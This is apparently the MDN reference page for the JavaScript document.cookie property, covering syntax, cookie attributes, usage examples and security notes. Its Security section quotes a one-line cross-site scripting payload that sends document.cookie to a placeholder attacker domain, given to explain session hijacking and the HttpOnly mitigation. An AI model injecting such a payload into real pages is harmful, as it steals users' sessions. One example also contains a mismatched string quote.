

# Document: cookie property

**Baseline** Widely available

The [Document](#) property `cookie` lets you read and write [cookies](#) associated with the document. It serves as a getter and setter for the actual values of the cookies.

## Syntax

Read all cookies accessible from this location

JS

```
allCookies = document.cookie;
```

In the code above `allCookies` is a string containing a semicolon-separated list of all cookies (i.e. `key=value` pairs). Note that each *key* and *value* may be surrounded by whitespace (space and tab characters): in fact, [RFC 6265](#) mandates a single space after each semicolon, but some user agents may not abide by this.

Write a new cookie

JS

```
document.cookie = newCookie;
```

In the code above, `newCookie` is a string of form `key=value`, specifying the cookie to set/update. Note that you can only set/update a single cookie at a time using this method. Consider also that:

- Any of the following cookie attribute values can optionally follow the key-value pair, each preceded by a semicolon separator:
  - `;domain=domain` (e.g., `example.com` OR `subdomain.example.com`): The host to which the cookie will be sent. If not specified, this defaults to the host portion of the current document location and the cookie is not available on subdomains. If a domain is specified, subdomains are always included. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots.

**Note:** The domain *must* match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored.

- `;expires=date-in-UTCstring-format`: The expiry date of the cookie. If neither `expires` nor `max-age` is specified, it will expire at the end of session.

**Warning:** When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many

browsers let users specify that cookies should never expire, which is not necessarily safe.

See [Date.toUTCString\(\)](#) for help formatting this value.

- `;max-age=max-age-in-seconds` : The maximum age of the cookie in seconds (e.g., `60*60*24*365` or `31536000` for a year).
- `;partitioned` : Indicates that the cookie should be stored using partitioned storage. See [Cookies Having Independent Partitioned State \(CHIPS\)](#) for more details.
- `;path=path` : The value of the cookie's `Path` attribute (See [Define where cookies are sent](#) for more information).
- `;samesite` : The `SameSite` attribute of a [Set-Cookie](#) header can be set by a server to specify when the cookie will be sent. Possible values are `lax`, `strict` or `none` (see also [Controlling third-party cookies with SameSite](#) ).
  - The `lax` value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many [Cross-Site Request Forgery](#) (CSRF) attacks. This is the default value in modern browsers.
  - The `strict` value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.
  - The `none` value explicitly states no restrictions will be applied. The cookie will be sent in all requests—both cross-site and same-site.
- `;secure` : Specifies that the cookie should only be transmitted over a secure protocol.
- The cookie value string can use [encodeURIComponent\(\)](#) to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
- Some user agent implementations support the following cookie prefixes:
  - `__Secure-` Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.
  - `__Host-` Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.

**Note:** The dash is considered part of the prefix.

**Note:** These flags are only settable with the `secure` attribute.

**Note:** As you can see from the code above, `document.cookie` is an [accessor property](#) with native *setter* and *getter* functions, and consequently is *not* a [data property](#) with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

## Examples

### Example 1: Simple usage

JS

Play

```
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";

function showCookies() {
  const output = document.getElementById("cookies");
  output.textContent = `> ${document.cookie}`;
}

function clearOutputCookies() {
  const output = document.getElementById("cookies");
  output.textContent = "";
}
```

HTML

Play

```
<button onclick="showCookies()">Show cookies</button>

<button onclick="clearOutputCookies()">Clear</button>

<div>
  <code id="cookies"></code>
</div>
```

Play



## Example 2: Get a sample cookie named test2

JS

Play

```
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";

const cookieValue = document.cookie
  .split("; ")
  .find((row) => row.startsWith("test2="))
  ?.split("=")[1];

function showCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = `> ${cookieValue}`;
}

function clearOutputCookieValue() {
  const output = document.getElementById("cookie-value");
  output.textContent = "";
}
```

HTML


Play

```
<button onclick="showCookieValue()">Show cookie value</button>

<button onclick="clearOutputCookieValue()">Clear</button>

<div>
  <code id="cookie-value"></code>
</div>
```

Play



### Example 3: Do something only once

In order to use the following code, please replace all occurrences of the word `doSomethingOnlyOnce` (the name of the cookie) with a custom name.

JS

Play

```
function doOnce() {
  if (
    !document.cookie
      .split("; ")
      .find((row) => row.startsWith("doSomethingOnlyOnce"))
  ) {
    // Note that we are setting `SameSite=None;` in this example because the example
    // needs to work cross-origin.
    // It is more common not to set the `SameSite` attribute, which results in the default,
    // and more secure, value of `SameSite=Lax;`
    document.cookie =
      "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";

    const output = document.getElementById("do-once");
    output.textContent = "> Do something here!";
  }
}

function clearOutputDoOnce() {
  const output = document.getElementById("do-once");
  output.textContent = "";
}
```

HTML

Play

```
<button onclick="doOnce()">Only do something once</button>

<button onclick="clearOutputDoOnce()">Clear</button>

<div>
  <code id="do-once"></code>
</div>
```

Play

Only do something once

Clear

## Example 4: Reset the previous cookie

JS

Play

```
function resetOnce() {
  // Note that we are setting `SameSite=None;` in this example because the example
  // needs to work cross-origin.
  // It is more common not to set the `SameSite` attribute, which results in the default,
  // and more secure, value of `SameSite=Lax;`
  document.cookie =
    "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";

  const output = document.getElementById("reset-once");
  output.textContent = "> Reset!";
}

function clearOutputResetOnce() {
  const output = document.getElementById("reset-once");
  output.textContent = "";
}
```

HTML

Play

```
<button onclick="resetOnce()">Reset only once cookie</button>

<button onclick="clearOutputResetOnce()">Clear</button>

<div>
  <code id="reset-once"></code>
</div>
```

Play

Reset only once cookie

Clear

## Example 5: Check a cookie existence

JS

Play

```
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";

function checkACookieExists() {
  if (
    document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
  ) {
    const output = document.getElementById("a-cookie-existence");
    output.textContent = '> The cookie "reader" exists';
  }
}
```

```
function clearOutputACookieExists() {  
  const output = document.getElementById("a-cookie-existence");  
  output.textContent = "";  
}
```

HTML

Play

```
<button onclick="checkACookieExists()">Check a cookie exists</button>  
  
<button onclick="clearOutputACookieExists()">Clear</button>  
  
<div>  
  <code id="a-cookie-existence"></code>  
</div>
```

Play

Check a cookie exists Clear

## Example 6: Check that a cookie has a specific value

JS

Play

```
function checkCookieHasASpecificValue() {  
  if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {  
    const output = document.getElementById("a-specific-value-of-the-cookie");  
    output.textContent = '> The cookie "reader" has a value of "1";  
  }  
}  
  
function clearASpecificValueOfTheCookie() {  
  const output = document.getElementById("a-specific-value-of-the-cookie");  
  output.textContent = "";  
}
```

HTML

Play

```
<button onclick="checkCookieHasASpecificValue()">  
  Check that a cookie has a specific value  
</button>  
  
<button onclick="clearASpecificValueOfTheCookie()">Clear</button>  
  
<div>  
  <code id="a-specific-value-of-the-cookie"></code>  
</div>
```

Play

Check that a cookie has a specific value Clear

## Security

It is important to note that the `path` attribute does *not* protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden `<iframe>` element with the path of the cookie, then accessing this iframe's `contentDocument.cookie` property. The only way to protect the cookie is by using a different domain or subdomain, due to the [same origin policy](#).

Cookies are often used in web applications to identify a user and their authenticated session. Stealing a cookie from a web application leads to hijacking the authenticated user's session. Common ways to steal cookies include using [social engineering](#) or by exploiting a [cross-site scripting](#) (XSS) vulnerability in the application -

JS

```
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
```

The `HTTPOnly` cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Read more about [Cookies and Security](#) .

## Notes

- Starting with Firefox 2, a better mechanism for client-side storage is available - [WHATWG DOM Storage](#).
- You can delete a cookie by updating its expiration time to zero.
- Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use [WHATWG DOM Storage](#) if you are going to keep "client-only" data.
- [RFC 2965](#) (Section 5.3, "Implementation Limits") specifies that there should be **no maximum length** of a cookie's key or value size, and encourages implementations to support **arbitrarily large cookies**. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.

The reason for the [syntax](#) of the `document.cookie` accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, [localStorage](#)):

## The server tells the client to store a cookie

BASH

```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
```

[content of the page here]

## The client sends back to the server its cookies previously stored

BASH

```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
```

## Specifications

Specification

[HTML Standard](#)  
[# dom-document-cookie](#)

Browser compatibility

[Report problems with this compatibility data on GitHub](#)

	Chrome	Edge	Firefox	Opera	Safari	Chrome Android	Firefox for Android	Opera Android	Safari on iOS	Samsung Internet	WebView Android	WebView on iOS
cookie	1	12	1	3	1	18	4	10.1	1	1.0	4.4	1

Tip: you can click/tap on a cell for more information.

Full support See implementation notes.

See also

- [HTTP cookies](#)
- [DOM Storage](#)
- [URL.pathname](#)
- [Date.toUTCString\(\).](#)
- [RFC 2965](#)

Help improve MDN

Was this page helpful to you?

Yes

No

[Learn how to contribute.](#)

This page was last modified on Oct 16, 2024 by [MDN contributors](#).

